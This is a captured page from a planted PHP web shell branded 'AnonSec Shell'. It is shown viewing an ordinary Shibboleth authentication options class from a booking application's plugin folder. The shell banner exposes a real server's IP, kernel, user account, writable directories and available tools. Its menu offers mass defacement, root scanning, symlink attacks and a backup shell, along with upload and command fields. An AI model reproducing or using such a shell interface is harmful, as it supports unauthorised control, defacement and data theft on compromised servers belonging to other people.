. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 94.23.64.18  /  Your IP : 216.73.216.185   [ Reverse IP ]
Web Server : Apache
System : Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : villadal ( 6036)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/villadal/www/old/booked/plugins/Authentication/Shibboleth/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/villadal/www/old/booked/plugins/Authentication/Shibboleth/ShibbolethOptions.php
<?php
/**
 * @file ShibbolethOptions.php
 */

require_once ROOT_DIR . '/lib/Config/namespace.php';
require_once ROOT_DIR . 'lib/Common/Converters/namespace.php';

/**
 * Plugin configuration object.
 *
 * @class ShibbolethOptions
 */
class ShibbolethOptions {

    /**
     * Options map.
     * @var array
     */
    protected $_options;

    /**
     * Constructor.
     */
    public function __construct () {
        require_once dirname(__FILE__) . '/Shibboleth.config.php';
        // load the plugin configuration from file.
        Configuration::Instance()->Register(
            dirname(__FILE__) . '/Shibboleth.config.php',
            ShibbolethConfig::CONFIG_ID);
    }

    /**
     * Returns a map of plugin configurations.
     *
     * @return array A map of configuration options.
     */
    public function GetShibbolethOptions () {
        if (! isset($this->_options)) {
            $this->InitShibbolethOptions();
        }
        return $this->_options;
    }

    /**
     * Initializes and populates the internal options map.
     */
    protected function InitShibbolethOptions () {
        $this->_options = array();
        $this->SetOption(ShibbolethConfig::USERNAME, $this->GetConfig(ShibbolethConfig::USERNAME));
        $this->SetOption(ShibbolethConfig::FIRSTNAME, $this->GetConfig(ShibbolethConfig::FIRSTNAME));
        $this->SetOption(ShibbolethConfig::LASTNAME, $this->GetConfig(ShibbolethConfig::LASTNAME));
        $this->SetOption(ShibbolethConfig::EMAIL, $this->GetConfig(ShibbolethConfig::EMAIL));
        $this->SetOption(ShibbolethConfig::PHONE, $this->GetConfig(ShibbolethConfig::PHONE));
    }

    /**
     * Sets a configuration option.
     *
     * @param string $key The config key.
     * @param mixed $value The config value.
     */
    private function SetOption ($key, $value) {
        if (empty($value)) {
            $value = null;
        }

        $this->_options[$key] = $value;
    }

    /**
     * Retrieves a configuration option value by its key.
     *
     * @param string $keyName The config key.
     * @param IConvert $converter A value converter.
     * @return mixed The config value.
     */
    protected function GetConfig ($keyName, IConvert $converter = null) {
        return Configuration::Instance()->File(ShibbolethConfig::CONFIG_ID)->GetKey($keyName, $converter);
    }
}

Anon7 - 2022
AnonSec Team